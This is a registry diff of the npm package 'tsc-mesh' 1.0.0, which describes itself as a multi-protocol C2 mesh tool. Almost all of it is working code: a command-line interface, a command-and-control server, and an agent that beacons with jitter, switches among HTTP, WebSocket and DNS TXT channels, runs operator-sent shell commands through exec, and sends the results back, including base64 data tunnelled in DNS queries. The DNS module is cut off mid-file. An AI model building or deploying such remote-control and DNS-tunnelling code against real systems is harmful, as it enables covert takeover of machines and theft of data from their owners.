tsc-mesh 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,222 @@
1
+ #!/usr/bin/env node
2
+
3
+ const minimist = require('minimist');
4
+ const http = require('http');
5
+ const { C2Server } = require('../src/c2server');
6
+ const { C2Agent } = require('../src/c2agent');
7
+
8
+ const argv = minimist(process.argv.slice(2));
9
+ const cmd = argv._[0];
10
+
11
+ function showHelp() {
12
+ console.log(`
13
+ tsc-mesh - Multi-Protocol C2 Mesh Tool
14
+
15
+ Usage:
16
+ tsc-mesh server [--port <port>] [--dns-port <port>]
17
+ Start C2 server (default port: 8443, DNS port: 5353)
18
+
19
+ tsc-mesh agent --server <url> [--id <id>] [--interval <ms>]
20
+ Start C2 agent connecting to server
21
+ (default id: random, default interval: 5000ms, jitter: 2000ms)
22
+
23
+ tsc-mesh send --server <url> --agent <id> --cmd "<command>"
24
+ Send a command to an agent
25
+
26
+ tsc-mesh status --server <url>
27
+ Show all registered agents and their status
28
+
29
+ tsc-mesh help
30
+ Show this help message
31
+ `);
32
+ }
33
+
34
+ async function cmdServer() {
35
+ const port = argv.port || 8443;
36
+ const dnsPort = argv['dns-port'] || 5353;
37
+ const server = new C2Server({ port, dnsPort });
38
+
39
+ server.on('agent-connected', (id, channel) => {
40
+ console.log(`[+] Agent connected: ${id} (via ${channel})`);
41
+ });
42
+
43
+ server.on('agent-disconnected', (id) => {
44
+ console.log(`[-] Agent disconnected: ${id}`);
45
+ });
46
+
47
+ server.on('heartbeat', (id, channel) => {
48
+ const status = server.getAgentStatus(id);
49
+ const pending = status ? status.pendingCommands : 0;
50
+ console.log(`[heartbeat] ${id} (${channel}) pending: ${pending}`);
51
+ });
52
+
53
+ server.on('command-sent', (id, cmd) => {
54
+ console.log(`[>] Command queued for ${id}: ${cmd}`);
55
+ });
56
+
57
+ server.on('result', (id, result) => {
58
+ console.log(`[<] Result from ${id}: exit=${result.exitCode}`);
59
+ if (result.stdout) console.log(result.stdout);
60
+ if (result.stderr) console.error(result.stderr);
61
+ });
62
+
63
+ try {
64
+ await server.start();
65
+ console.log(`[*] C2 Server listening on port ${port}`);
66
+ console.log(`[*] DNS Server listening on port ${dnsPort}`);
67
+ console.log('[*] Press Ctrl+C to stop');
68
+ } catch (err) {
69
+ console.error('Failed to start server:', err.message);
70
+ process.exit(1);
71
+ }
72
+
73
+ process.on('SIGINT', () => {
74
+ console.log('\n[*] Shutting down...');
75
+ server.stop();
76
+ process.exit(0);
77
+ });
78
+ }
79
+
80
+ async function cmdAgent() {
81
+ const serverUrl = argv.server;
82
+ if (!serverUrl) {
83
+ console.error('Error: --server is required');
84
+ process.exit(1);
85
+ }
86
+
87
+ const agent = new C2Agent({
88
+ server: serverUrl,
89
+ id: argv.id,
90
+ interval: argv.interval || 5000,
91
+ dnsPort: argv['dns-port'] || 5353
92
+ });
93
+
94
+ agent.on('started', (id) => {
95
+ console.log(`[*] Agent started: ${id}`);
96
+ console.log(`[*] Connecting to server: ${serverUrl}`);
97
+ });
98
+
99
+ agent.on('connected', (id, channel) => {
100
+ console.log(`[+] Connected via ${channel}`);
101
+ });
102
+
103
+ agent.on('command-result', (cmd, result) => {
104
+ console.log(`[*] Executed: ${cmd} (exit: ${result.exitCode})`);
105
+ });
106
+
107
+ agent.start();
108
+
109
+ process.on('SIGINT', () => {
110
+ console.log('\n[*] Shutting down agent...');
111
+ agent.stop();
112
+ process.exit(0);
113
+ });
114
+ }
115
+
116
+ function cmdSend() {
117
+ const serverUrl = argv.server;
118
+ const agentId = argv.agent;
119
+ const command = argv.cmd;
120
+
121
+ if (!serverUrl || !agentId || !command) {
122
+ console.error('Error: --server, --agent, and --cmd are required');
123
+ process.exit(1);
124
+ }
125
+
126
+ const parsedUrl = new URL(serverUrl);
127
+ const postData = JSON.stringify({ agent: agentId, command });
128
+ const options = {
129
+ hostname: parsedUrl.hostname,
130
+ port: parsedUrl.port || 8443,
131
+ path: '/command',
132
+ method: 'POST',
133
+ headers: {
134
+ 'Content-Type': 'application/json',
135
+ 'Content-Length': Buffer.byteLength(postData)
136
+ }
137
+ };
138
+
139
+ const req = http.request(options, (res) => {
140
+ let body = '';
141
+ res.on('data', (chunk) => { body += chunk; });
142
+ res.on('end', () => {
143
+ try {
144
+ const data = JSON.parse(body);
145
+ console.log(JSON.stringify(data, null, 2));
146
+ } catch (e) {
147
+ console.log(body);
148
+ }
149
+ });
150
+ });
151
+
152
+ req.on('error', (err) => {
153
+ console.error('Error sending command:', err.message);
154
+ process.exit(1);
155
+ });
156
+
157
+ req.write(postData);
158
+ req.end();
159
+ }
160
+
161
+ function cmdStatus() {
162
+ const serverUrl = argv.server;
163
+ if (!serverUrl) {
164
+ console.error('Error: --server is required');
165
+ process.exit(1);
166
+ }
167
+
168
+ const parsedUrl = new URL(serverUrl);
169
+ const options = {
170
+ hostname: parsedUrl.hostname,
171
+ port: parsedUrl.port || 8443,
172
+ path: '/agents',
173
+ method: 'GET'
174
+ };
175
+
176
+ const req = http.request(options, (res) => {
177
+ let body = '';
178
+ res.on('data', (chunk) => { body += chunk; });
179
+ res.on('end', () => {
180
+ try {
181
+ const data = JSON.parse(body);
182
+ if (data.agents && data.agents.length === 0) {
183
+ console.log('No agents registered.');
184
+ } else if (data.agents) {
185
+ console.log('Registered agents:');
186
+ for (const agent of data.agents) {
187
+ const status = agent.connected ? 'CONNECTED' : 'DISCONNECTED';
188
+ console.log(` ${agent.id}`);
189
+ console.log(` Channels: ${agent.channels.join(', ') || 'none'}`);
190
+ console.log(` Status: ${status}`);
191
+ console.log(` Last seen: ${new Date(agent.lastSeen).toISOString()}`);
192
+ }
193
+ } else {
194
+ console.log(JSON.stringify(data, null, 2));
195
+ }
196
+ } catch (e) {
197
+ console.log(body);
198
+ }
199
+ });
200
+ });
201
+
202
+ req.on('error', (err) => {
203
+ console.error('Error fetching status:', err.message);
204
+ process.exit(1);
205
+ });
206
+
207
+ req.end();
208
+ }
209
+
210
+ const commands = {
211
+ server: cmdServer,
212
+ agent: cmdAgent,
213
+ send: cmdSend,
214
+ status: cmdStatus,
215
+ help: showHelp
216
+ };
217
+
218
+ if (commands[cmd]) {
219
+ commands[cmd]();
220
+ } else {
221
+ showHelp();
222
+ }
package/package.json ADDED
@@ -0,0 +1,14 @@
1
+ {
2
+ "name": "tsc-mesh",
3
+ "version": "1.0.0",
4
+ "description": "Multi-Protocol C2 Mesh Tool",
5
+ "bin": {
6
+ "tsc-mesh": "bin/tsc-mesh.js"
7
+ },
8
+ "dependencies": {
9
+ "minimist": "1.2.8",
10
+ "ws": "^8.16.0"
11
+ },
12
+ "author": "SURUJ404",
13
+ "license": "GPL-3.0"
14
+ }
package/src/c2agent.js ADDED
@@ -0,0 +1,244 @@
1
+ const http = require('http');
2
+ const url = require('url');
3
+ const { exec } = require('child_process');
4
+ const { WebSocket } = require('ws');
5
+ const { EventEmitter } = require('events');
6
+ const { DNSProtocol } = require('./dnsprotocol');
7
+
8
+ class C2Agent extends EventEmitter {
9
+ constructor(options = {}) {
10
+ super();
11
+ this.serverUrl = options.server || 'http://localhost:8443';
12
+ this.agentId = options.id || `agent-${Math.random().toString(36).slice(2, 8)}`;
13
+ this.beaconInterval = options.interval || 5000;
14
+ this.jitter = options.jitter || 2000;
15
+
16
+ const parsed = url.parse(this.serverUrl);
17
+ this.serverHost = parsed.hostname || 'localhost';
18
+ this.serverPort = parseInt(parsed.port, 10) || 8443;
19
+ this.serverProto = parsed.protocol || 'http:';
20
+ this.dnsPort = options.dnsPort || 5353;
21
+
22
+ this.ws = null;
23
+ this.dns = null;
24
+ this.running = false;
25
+ this.beaconTimer = null;
26
+
27
+ this.channelHealth = {
28
+ http: { ok: true, backoff: 1000, failures: 0 },
29
+ ws: { ok: true, backoff: 1000, failures: 0 },
30
+ dns: { ok: true, backoff: 1000, failures: 0 }
31
+ };
32
+
33
+ this.activeChannel = 'http';
34
+ this.channelOrder = ['http', 'ws', 'dns'];
35
+ }
36
+
37
+ async start() {
38
+ this.running = true;
39
+ await this._initDNS();
40
+ this._connectWebSocket();
41
+ this._beacon();
42
+ this.emit('started', this.agentId);
43
+ }
44
+
45
+ _initDNS() {
46
+ return new Promise((resolve) => {
47
+ this.dns = new DNSProtocol(0, 'client');
48
+ this.dns.start(() => resolve());
49
+ });
50
+ }
51
+
52
+ _connectWebSocket() {
53
+ const wsUrl = `ws://${this.serverHost}:${this.serverPort}`;
54
+ try {
55
+ this.ws = new WebSocket(wsUrl);
56
+
57
+ this.ws.on('open', () => {
58
+ this.channelHealth.ws.ok = true;
59
+ this.channelHealth.ws.failures = 0;
60
+ this.channelHealth.ws.backoff = 1000;
61
+ this.ws.send(JSON.stringify({ type: 'register', id: this.agentId }));
62
+ });
63
+
64
+ this.ws.on('message', (data) => {
65
+ try {
66
+ const msg = JSON.parse(data.toString());
67
+ if (msg.type === 'commands' && msg.commands && msg.commands.length > 0) {
68
+ this._processCommands(msg.commands, 'ws');
69
+ }
70
+ if (msg.type === 'registered') {
71
+ this.emit('connected', this.agentId, 'ws');
72
+ }
73
+ } catch (e) {}
74
+ });
75
+
76
+ this.ws.on('close', () => {
77
+ this.channelHealth.ws.ok = false;
78
+ this.channelHealth.ws.failures++;
79
+ const delay = Math.min(this.channelHealth.ws.backoff * 2, 30000);
80
+ this.channelHealth.ws.backoff = delay;
81
+ setTimeout(() => this._connectWebSocket(), delay);
82
+ });
83
+
84
+ this.ws.on('error', () => {
85
+ this.channelHealth.ws.ok = false;
86
+ this.channelHealth.ws.failures++;
87
+ this.ws.close();
88
+ });
89
+ } catch (e) {
90
+ this.channelHealth.ws.ok = false;
91
+ }
92
+ }
93
+
94
+ _beacon() {
95
+ if (!this.running) return;
96
+ this._sendHeartbeat();
97
+ this._pollCommands();
98
+ const jitterMs = Math.floor(Math.random() * this.jitter * 2) - this.jitter;
99
+ const delay = Math.max(1000, this.beaconInterval + jitterMs);
100
+ this.beaconTimer = setTimeout(() => this._beacon(), delay);
101
+ }
102
+
103
+ _sendHeartbeat() {
104
+ const channel = this._getActiveChannel();
105
+ if (channel === 'http') {
106
+ const postData = JSON.stringify({ id: this.agentId, channel: 'http' });
107
+ const options = {
108
+ hostname: this.serverHost,
109
+ port: this.serverPort,
110
+ path: '/heartbeat',
111
+ method: 'POST',
112
+ headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) }
113
+ };
114
+ const req = http.request(options, (res) => {
115
+ this.channelHealth.http.ok = true;
116
+ this.channelHealth.http.failures = 0;
117
+ this.channelHealth.http.backoff = 1000;
118
+ });
119
+ req.on('error', () => {
120
+ this.channelHealth.http.ok = false;
121
+ this.channelHealth.http.failures++;
122
+ });
123
+ req.write(postData);
124
+ req.end();
125
+ } else if (channel === 'ws' && this.ws && this.ws.readyState === WebSocket.OPEN) {
126
+ try {
127
+ this.ws.send(JSON.stringify({ type: 'heartbeat', id: this.agentId }));
128
+ } catch (e) {
129
+ this.channelHealth.ws.ok = false;
130
+ }
131
+ } else if (channel === 'dns') {
132
+ this.dns.sendQuery(this.agentId, this.serverHost, this.dnsPort, (err, answers) => {
133
+ if (err) {
134
+ this.channelHealth.dns.ok = false;
135
+ this.channelHealth.dns.failures++;
136
+ } else {
137
+ this.channelHealth.dns.ok = true;
138
+ this.channelHealth.dns.failures = 0;
139
+ this.channelHealth.dns.backoff = 1000;
140
+ }
141
+ });
142
+ }
143
+ }
144
+
145
+ _pollCommands() {
146
+ const channel = this._getActiveChannel();
147
+ if (channel === 'http') {
148
+ const options = {
149
+ hostname: this.serverHost,
150
+ port: this.serverPort,
151
+ path: `/poll?id=${encodeURIComponent(this.agentId)}`,
152
+ method: 'GET'
153
+ };
154
+ const req = http.request(options, (res) => {
155
+ let body = '';
156
+ res.on('data', (chunk) => { body += chunk; });
157
+ res.on('end', () => {
158
+ try {
159
+ const data = JSON.parse(body);
160
+ if (data.commands && data.commands.length > 0) {
161
+ this._processCommands(data.commands, 'http');
162
+ }
163
+ } catch (e) {}
164
+ });
165
+ });
166
+ req.on('error', () => {});
167
+ req.end();
168
+ } else if (channel === 'ws' && this.ws && this.ws.readyState === WebSocket.OPEN) {
169
+ try {
170
+ this.ws.send(JSON.stringify({ type: 'poll', id: this.agentId }));
171
+ } catch (e) {}
172
+ } else if (channel === 'dns') {
173
+ this.dns.sendQuery(this.agentId, this.serverHost, this.dnsPort, (err, answers) => {
174
+ if (!err && answers.length > 0) {
175
+ this._processCommands(answers, 'dns');
176
+ }
177
+ });
178
+ }
179
+ }
180
+
181
+ _getActiveChannel() {
182
+ for (const ch of this.channelOrder) {
183
+ if (this.channelHealth[ch].ok) return ch;
184
+ }
185
+ return this.channelOrder[0];
186
+ }
187
+
188
+ _processCommands(commands, channel) {
189
+ for (const cmd of commands) {
190
+ this.executeCommand(cmd, channel);
191
+ }
192
+ }
193
+
194
+ executeCommand(cmd, incomingChannel) {
195
+ return new Promise((resolve) => {
196
+ exec(cmd, { timeout: 30000 }, (error, stdout, stderr) => {
197
+ const result = {
198
+ command: cmd,
199
+ stdout: stdout || '',
200
+ stderr: stderr || '',
201
+ exitCode: error ? (error.code || 1) : 0
202
+ };
203
+ this._reportResult(result, incomingChannel);
204
+ this.emit('command-result', cmd, result);
205
+ resolve(result);
206
+ });
207
+ });
208
+ }
209
+
210
+ _reportResult(result, channel) {
211
+ if (channel === 'http') {
212
+ const postData = JSON.stringify({ id: this.agentId, result });
213
+ const options = {
214
+ hostname: this.serverHost,
215
+ port: this.serverPort,
216
+ path: '/result',
217
+ method: 'POST',
218
+ headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) }
219
+ };
220
+ const req = http.request(options);
221
+ req.on('error', () => {});
222
+ req.write(postData);
223
+ req.end();
224
+ } else if (channel === 'ws' && this.ws && this.ws.readyState === WebSocket.OPEN) {
225
+ try {
226
+ this.ws.send(JSON.stringify({ type: 'result', id: this.agentId, result }));
227
+ } catch (e) {}
228
+ } else if (channel === 'dns') {
229
+ const encoded = Buffer.from(JSON.stringify({ id: this.agentId, result })).toString('base64').replace(/=+$/, '');
230
+ this.dns.sendResultQuery(this.agentId, encoded, this.serverHost, this.dnsPort);
231
+ }
232
+ }
233
+
234
+ stop() {
235
+ this.running = false;
236
+ if (this.beaconTimer) clearTimeout(this.beaconTimer);
237
+ if (this.ws) {
238
+ try { this.ws.close(); } catch (e) {}
239
+ }
240
+ if (this.dns) this.dns.stop();
241
+ }
242
+ }
243
+
244
+ module.exports = { C2Agent };
@@ -0,0 +1,267 @@
1
+ const http = require('http');
2
+ const url = require('url');
3
+ const { WebSocketServer } = require('ws');
4
+ const { EventEmitter } = require('events');
5
+ const { DNSProtocol, extractQueryType, extractResultFromQuery } = require('./dnsprotocol');
6
+
7
+ class C2Server extends EventEmitter {
8
+ constructor(options = {}) {
9
+ super();
10
+ this.httpPort = options.port || 8443;
11
+ this.dnsPort = options.dnsPort || 5353;
12
+ this.agents = new Map();
13
+ this.commandQueue = new Map();
14
+ this.httpServer = null;
15
+ this.wss = null;
16
+ this.dns = null;
17
+ }
18
+
19
+ async start() {
20
+ return new Promise((resolve, reject) => {
21
+ this.httpServer = http.createServer((req, res) => {
22
+ this._handleHTTP(req, res);
23
+ });
24
+
25
+ this.wss = new WebSocketServer({ server: this.httpServer });
26
+ this.wss.on('connection', (ws, req) => {
27
+ this._handleWebSocket(ws, req);
28
+ });
29
+
30
+ this.httpServer.listen(this.httpPort, () => {
31
+ this._startDNS((err) => {
32
+ if (err) return reject(err);
33
+ resolve();
34
+ });
35
+ });
36
+
37
+ this.httpServer.on('error', reject);
38
+ });
39
+ }
40
+
41
+ _startDNS(callback) {
42
+ this.dns = new DNSProtocol(this.dnsPort, 'server');
43
+ this.dns.onQuery((parsed, agentId, rawMsg) => {
44
+ if (!agentId) return;
45
+ if (parsed.qtype !== 16) return;
46
+
47
+ const qtype = extractQueryType(parsed.qname);
48
+
49
+ if (qtype === 'r') {
50
+ const resultData = extractResultFromQuery(parsed.qname);
51
+ if (resultData && resultData.id && resultData.result) {
52
+ this.emit('result', resultData.id, resultData.result);
53
+ }
54
+ this.dns.sendResponse(rawMsg, parsed.rinfo, []);
55
+ return;
56
+ }
57
+
58
+ const pending = this.getPendingCommands(agentId);
59
+ const answers = [];
60
+ if (pending.length > 0) {
61
+ const cmd = pending[0];
62
+ this.commandQueue.get(agentId).shift();
63
+ answers.push({ name: parsed.qname, type: 'TXT', data: cmd, ttl: 1 });
64
+ }
65
+ this.dns.sendResponse(rawMsg, parsed.rinfo, answers);
66
+ });
67
+ this.dns.start(callback);
68
+ }
69
+
70
+ _handleHTTP(req, res) {
71
+ const parsed = url.parse(req.url, true);
72
+ const method = req.method.toUpperCase();
73
+
74
+ res.setHeader('Access-Control-Allow-Origin', '*');
75
+ res.setHeader('Access-Control-Allow-Methods', 'GET, POST, OPTIONS');
76
+ res.setHeader('Access-Control-Allow-Headers', 'Content-Type');
77
+
78
+ if (method === 'OPTIONS') {
79
+ res.writeHead(204);
80
+ return res.end();
81
+ }
82
+
83
+ if (parsed.pathname === '/poll' && method === 'GET') {
84
+ const agentId = parsed.query.id;
85
+ if (!agentId) {
86
+ res.writeHead(400);
87
+ return res.end(JSON.stringify({ error: 'Missing agent id' }));
88
+ }
89
+ this._registerAgentPoll(agentId, 'http');
90
+ const commands = this.getPendingCommands(agentId);
91
+ res.writeHead(200, { 'Content-Type': 'application/json' });
92
+ return res.end(JSON.stringify({ commands, agentId }));
93
+ }
94
+
95
+ if (parsed.pathname === '/command' && method === 'POST') {
96
+ let body = '';
97
+ req.on('data', (chunk) => { body += chunk; });
98
+ req.on('end', () => {
99
+ try {
100
+ const data = JSON.parse(body);
101
+ if (!data.agent || !data.command) {
102
+ res.writeHead(400);
103
+ return res.end(JSON.stringify({ error: 'Missing agent or command' }));
104
+ }
105
+ this.sendCommand(data.agent, data.command);
106
+ res.writeHead(200, { 'Content-Type': 'application/json' });
107
+ res.end(JSON.stringify({ status: 'queued', agent: data.agent }));
108
+ } catch (e) {
109
+ res.writeHead(400);
110
+ res.end(JSON.stringify({ error: 'Invalid JSON' }));
111
+ }
112
+ });
113
+ return;
114
+ }
115
+
116
+ if (parsed.pathname === '/agents' && method === 'GET') {
117
+ const list = [];
118
+ for (const [id, info] of this.agents) {
119
+ list.push({ id, channels: info.channels, lastSeen: info.lastSeen, connected: info.connected });
120
+ }
121
+ res.writeHead(200, { 'Content-Type': 'application/json' });
122
+ return res.end(JSON.stringify({ agents: list }));
123
+ }
124
+
125
+ if (parsed.pathname === '/heartbeat' && method === 'POST') {
126
+ let body = '';
127
+ req.on('data', (chunk) => { body += chunk; });
128
+ req.on('end', () => {
129
+ try {
130
+ const data = JSON.parse(body);
131
+ if (!data.id) {
132
+ res.writeHead(400);
133
+ return res.end(JSON.stringify({ error: 'Missing id' }));
134
+ }
135
+ this._registerAgentPoll(data.id, data.channel || 'http');
136
+ this.emit('heartbeat', data.id, data.channel || 'http');
137
+ res.writeHead(200, { 'Content-Type': 'application/json' });
138
+ res.end(JSON.stringify({ status: 'ok' }));
139
+ } catch (e) {
140
+ res.writeHead(400);
141
+ res.end(JSON.stringify({ error: 'Invalid JSON' }));
142
+ }
143
+ });
144
+ return;
145
+ }
146
+
147
+ res.writeHead(404);
148
+ res.end(JSON.stringify({ error: 'Not found' }));
149
+ }
150
+
151
+ _handleWebSocket(ws, req) {
152
+ const parsedUrl = url.parse(req.url, true);
153
+ let agentId = null;
154
+
155
+ ws.on('message', (data) => {
156
+ try {
157
+ const msg = JSON.parse(data.toString());
158
+ if (!agentId && msg.type !== 'register') return;
159
+
160
+ if (msg.type === 'register') {
161
+ agentId = msg.id;
162
+ this.registerAgent(agentId, ['ws']);
163
+ this.emit('agent-connected', agentId, 'ws');
164
+ ws.send(JSON.stringify({ type: 'registered', agentId }));
165
+ return;
166
+ }
167
+
168
+ if (msg.type === 'heartbeat') {
169
+ if (agentId) {
170
+ this._registerAgentPoll(agentId, 'ws');
171
+ }
172
+ ws.send(JSON.stringify({ type: 'heartbeat-ack' }));
173
+ return;
174
+ }
175
+
176
+ if (msg.type === 'poll') {
177
+ if (!agentId) return;
178
+ this._registerAgentPoll(agentId, 'ws');
179
+ const commands = this.getPendingCommands(agentId);
180
+ ws.send(JSON.stringify({ type: 'commands', commands }));
181
+ return;
182
+ }
183
+
184
+ if (msg.type === 'result') {
185
+ if (agentId) {
186
+ this.emit('result', agentId, msg.result, msg.channel);
187
+ }
188
+ return;
189
+ }
190
+ } catch (e) {}
191
+ });
192
+
193
+ ws.on('close', () => {
194
+ if (agentId) {
195
+ const agent = this.agents.get(agentId);
196
+ if (agent) agent.connected = false;
197
+ this.emit('agent-disconnected', agentId);
198
+ }
199
+ });
200
+
201
+ ws.on('error', () => {});
202
+ }
203
+
204
+ registerAgent(id, channels) {
205
+ if (!this.agents.has(id)) {
206
+ this.agents.set(id, {
207
+ channels: [],
208
+ lastSeen: Date.now(),
209
+ connected: true
210
+ });
211
+ }
212
+ const agent = this.agents.get(id);
213
+ for (const ch of channels) {
214
+ if (!agent.channels.includes(ch)) {
215
+ agent.channels.push(ch);
216
+ }
217
+ }
218
+ agent.lastSeen = Date.now();
219
+ agent.connected = true;
220
+
221
+ if (!this.commandQueue.has(id)) {
222
+ this.commandQueue.set(id, []);
223
+ }
224
+ }
225
+
226
+ _registerAgentPoll(id, channel) {
227
+ this.registerAgent(id, [channel]);
228
+ const agent = this.agents.get(id);
229
+ if (agent) {
230
+ agent.lastSeen = Date.now();
231
+ agent.connected = true;
232
+ }
233
+ }
234
+
235
+ sendCommand(agentId, command) {
236
+ if (!this.commandQueue.has(agentId)) {
237
+ this.commandQueue.set(agentId, []);
238
+ }
239
+ this.commandQueue.get(agentId).push(command);
240
+ this.emit('command-sent', agentId, command);
241
+ }
242
+
243
+ getPendingCommands(agentId) {
244
+ if (!this.commandQueue.has(agentId)) return [];
245
+ return [...this.commandQueue.get(agentId)];
246
+ }
247
+
248
+ getAgentStatus(agentId) {
249
+ const agent = this.agents.get(agentId);
250
+ if (!agent) return null;
251
+ return {
252
+ id: agentId,
253
+ channels: agent.channels,
254
+ lastSeen: agent.lastSeen,
255
+ connected: agent.connected,
256
+ pendingCommands: this.commandQueue.get(agentId)?.length || 0
257
+ };
258
+ }
259
+
260
+ stop() {
261
+ if (this.wss) this.wss.close();
262
+ if (this.dns) this.dns.stop();
263
+ if (this.httpServer) this.httpServer.close();
264
+ }
265
+ }
266
+
267
+ module.exports = { C2Server };
@@ -0,0 +1,275 @@
1
+ const dgram = require('dgram');
2
+
3
+ const DNS_C2_DOMAIN = '.c2.tsc';
4
+
5
+ function encodeDNSName(name) {
6
+ const parts = name.split('.');
7
+ const buf = Buffer.alloc(256);
8
+ let offset = 0;
9
+ for (const part of parts) {
10
+ if (part.length === 0) continue;
11
+ buf[offset++] = part.length;
12
+ buf.write(part, offset);
13
+ offset += part.length;
14
+ }
15
+ buf[offset++] = 0;
16
+ return buf.slice(0, offset);
17
+ }
18
+
19
+ function decodeDNSName(buf, offset) {
20
+ let labels = [];
21
+ let jumped = false;
22
+ let jumps = 0;
23
+ let origOffset = offset;
24
+ while (true) {
25
+ const len = buf[offset];
26
+ if (len === 0) {
27
+ offset++;
28
+ break;
29
+ }
30
+ if ((len & 0xc0) === 0xc0) {
31
+ if (!jumped) {
32
+ origOffset = offset + 2;
33
+ }
34
+ offset = ((len & 0x3f) << 8) | buf[offset + 1];
35
+ jumped = true;
36
+ jumps++;
37
+ if (jumps > 10) break;
38
+ continue;
39
+ }
40
+ offset++;
41
+ labels.push(buf.toString('ascii', offset, offset + len));
42
+ offset += len;
43
+ }
44
+ if (!jumped) {
45
+ return { name: labels.join('.'), newOffset: offset };
46
+ }
47
+ return { name: labels.join('.'), newOffset: origOffset };
48
+ }
49
+
50
+ function buildDNSResponse(query, answers) {
51
+ const header = Buffer.alloc(12);
52
+ query.copy(header, 0, 0, 2);
53
+ header.writeUInt16BE(0x8180, 2);
54
+ header.writeUInt16BE(1, 4);
55
+ header.writeUInt16BE(answers.length, 6);
56
+ header.writeUInt16BE(0, 8);
57
+ header.writeUInt16BE(0, 10);
58
+
59
+ const question = query.slice(12, findEndOfQuestion(query, 12));
60
+ const chunks = [header, question];
61
+
62
+ for (const answer of answers) {
63
+ const nameEncoded = encodeDNSName(answer.name);
64
+ const rdlen = answer.data.length;
65
+ const rec = Buffer.alloc(nameEncoded.length + 10 + rdlen);
66
+ let off = 0;
67
+ nameEncoded.copy(rec, off); off += nameEncoded.length;
68
+ rec.writeUInt16BE(answer.type === 'TXT' ? 16 : 1, off); off += 2;
69
+ rec.writeUInt16BE(1, off); off += 2;
70
+ rec.writeUInt32BE(answer.ttl || 60, off); off += 4;
71
+ if (answer.type === 'TXT') {
72
+ const txtData = Buffer.from(answer.data, 'utf8');
73
+ rec.writeUInt16BE(txtData.length + 1, off); off += 2;
74
+ rec[off++] = txtData.length;
75
+ txtData.copy(rec, off);
76
+ } else {
77
+ const ip = answer.data.split('.').map(Number);
78
+ rec.writeUInt16BE(4, off); off += 2;
79
+ for (const octet of ip) rec[off++] = octet;
80
+ }
81
+ chunks.push(rec);
82
+ }
83
+
84
+ return Buffer.concat(chunks);
85
+ }
86
+
87
+ function findEndOfQuestion(buf, start) {
88
+ let off = start;
89
+ while (true) {
90
+ if (off >= buf.length) return off;
91
+ const len = buf[off];
92
+ if (len === 0) return off + 5;
93
+ if ((len & 0xc0) === 0xc0) return off + 2;
94
+ off += len + 1;
95
+ }
96
+ }
97
+
98
+ function parseDNSQuery(msg, rinfo) {
99
+ if (msg.length < 12) return null;
100
+ const id = msg.readUInt16BE(0);
101
+ const flags = msg.readUInt16BE(2);
102
+ const qdcount = msg.readUInt16BE(4);
103
+
104
+ if ((flags & 0x7800) !== 0 || qdcount === 0) return null;
105
+
106
+ const { name: qname, newOffset } = decodeDNSName(msg, 12);
107
+ if (!qname) return null;
108
+ const qtype = msg.readUInt16BE(newOffset);
109
+ const qclass = msg.readUInt16BE(newOffset + 2);
110
+
111
+ return { id, qname, qtype, qclass, rinfo };
112
+ }
113
+
114
+ function extractAgentIdFromQuery(qname) {
115
+ const lower = qname.toLowerCase();
116
+ if (!lower.endsWith(DNS_C2_DOMAIN)) return null;
117
+ const subdomain = lower.slice(0, -DNS_C2_DOMAIN.length);
118
+ if (!subdomain || subdomain.endsWith('.')) return null;
119
+ const parts = subdomain.split('.');
120
+ return parts[0];
121
+ }
122
+
123
+ function extractQueryType(qname) {
124
+ const lower = qname.toLowerCase();
125
+ if (!lower.endsWith(DNS_C2_DOMAIN)) return null;
126
+ const subdomain = lower.slice(0, -DNS_C2_DOMAIN.length);
127
+ if (!subdomain) return null;
128
+ const parts = subdomain.split('.');
129
+ return parts[1] || null;
130
+ }
131
+
132
+ function extractResultFromQuery(qname) {
133
+ const lower = qname.toLowerCase();
134
+ if (!lower.endsWith(DNS_C2_DOMAIN)) return null;
135
+ const subdomain = lower.slice(0, -DNS_C2_DOMAIN.length);
136
+ if (!subdomain) return null;
137
+ const parts = subdomain.split('.');
138
+ if (parts.length < 3 || parts[1] !== 'r') return null;
139
+ const encoded = parts.slice(2).join('');
140
+ try {
141
+ return JSON.parse(Buffer.from(encoded, 'base64').toString('utf8'));
142
+ } catch (e) {
143
+ return null;
144
+ }
145
+ }
146
+
147
+ function buildDNSQuery(agentId, queryType = 'poll', extra = null) {
148
+ const id = Math.floor(Math.random() * 65535);
149
+ const flags = 0x0100;
150
+ const qdcount = 1;
151
+ const header = Buffer.alloc(12);
152
+ header.writeUInt16BE(id, 0);
153
+ header.writeUInt16BE(flags, 2);
154
+ header.writeUInt16BE(qdcount, 4);
155
+ header.writeUInt16BE(0, 6);
156
+ header.writeUInt16BE(0, 8);
157
+ header.writeUInt16BE(0, 10);
158
+
159
+ const MAX_LABEL = 63;
160
+ let domain;
161
+ if (extra) {
162
+ const dataParts = [];
163
+ for (let i = 0; i < extra.length; i += MAX_LABEL) {
164
+ dataParts.push(extra.slice(i, i + MAX_LABEL));
165
+ }
166
+ domain = `${agentId}.${queryType}.${dataParts.join('.')}.c2.tsc`;
167
+ } else {
168
+ domain = `${agentId}.${queryType}.c2.tsc`;
169
+ }
170
+
171
+ const encoded = encodeDNSName(domain);
172
+ const qtype = Buffer.alloc(2);
173
+ qtype.writeUInt16BE(16, 0);
174
+ const qclass = Buffer.alloc(2);
175
+ qclass.writeUInt16BE(1, 0);
176
+
177
+ return { id, packet: Buffer.concat([header, encoded, qtype, qclass]) };
178
+ }
179
+
180
+ function parseDNSResponse(msg, expectedId) {
181
+ if (msg.length < 12) return [];
182
+ const id = msg.readUInt16BE(0);
183
+ if (id !== expectedId) return [];
184
+ const flags = msg.readUInt16BE(2);
185
+ if ((flags & 0x8000) === 0) return [];
186
+ const ancount = msg.readUInt16BE(6);
187
+ if (ancount === 0) return [];
188
+
189
+ const answers = [];
190
+ let offset = 12;
191
+ const { newOffset } = decodeDNSName(msg, offset);
192
+ offset = newOffset + 4;
193
+
194
+ for (let i = 0; i < ancount; i++) {
195
+ const { newOffset: nameEnd } = decodeDNSName(msg, offset);
196
+ offset = nameEnd;
197
+ const type = msg.readUInt16BE(offset); offset += 2;
198
+ offset += 2;
199
+ offset += 4;
200
+ const rdlength = msg.readUInt16BE(offset); offset += 2;
201
+ if (type === 16) {
202
+ const txtLen = msg[offset]; offset++;
203
+ const txt = msg.toString('utf8', offset, offset + txtLen);
204
+ answers.push(txt);
205
+ offset += rdlength - 1;
206
+ } else {
207
+ offset += rdlength;
208
+ }
209
+ }
210
+ return answers;
211
+ }
212
+
213
